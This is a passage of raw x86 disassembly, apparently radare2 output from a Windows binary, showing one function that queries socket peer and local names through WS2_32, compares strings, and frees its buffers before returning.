jne 0x42c471
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c2c1
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e550
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x24], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x42c2fc
mov eax, 0x4d792e
push eax
push 3
mov ebx, 0x44e3d0
call fcn.0044cd2e
add esp, 0x28
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], ecx
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42c328
push ebx
call fcn.0044cd34
add esp, 4
mov ecx, dword [ebp - 0x28]
cmp ecx, reloc.WS2_32.dll_connect
je 0x42c340
push 5
call fcn.0044cd1c
add esp, 4
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42c354
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x4d9a06
push dword [ebp - 0x18]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42c46c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c384
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44d310
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x2c], eax
fild dword [ebp - 0x2c]
fstp qword [ebp - 0x2c]
fld qword [ebp - 0x2c]
fsub qword [0x4d6e40]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
call fcn.0040147a
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42c3cf
mov eax, 0x4d792e
push eax
push 2
mov ebx, 0x44e590
call fcn.0044cd2e
add esp, 0x1c
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x42c3f8
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x42c41e
push ebx
call fcn.0044cd34
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.00432276
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x42c437
push ebx
call fcn.0044cd34
add esp, 4
push 0x80000301
push 0
push 0x503180
push 0
push 0
push 0
push reloc.WS2_32.dll_getsockname
push 0
push 0x4331e7
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
jmp 0x42c4ae
push str.80019
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x42c4ae
push 0x80000301
push 0
push dword [0x503180]
push 1
mov eax, 3
mov ebx, 0x4aeb80
call fcn.0044cd40
add esp, 0x10
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x42c4be
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x42c4ce
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x42c4de
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x42c4ee
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x42c50c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x42c508
imul eax, dword [ebx]
jmp 0x42c4fd
mov ecx, eax
test ecx, ecx
je 0x42c52b
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x42c524
push ebx
push eax
call fcn.0044cd34
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x42c512
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x42c543
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x42c553
push ebx
call fcn.0044cd34
add esp, 4
mov esp, ebp
pop ebp
ret 4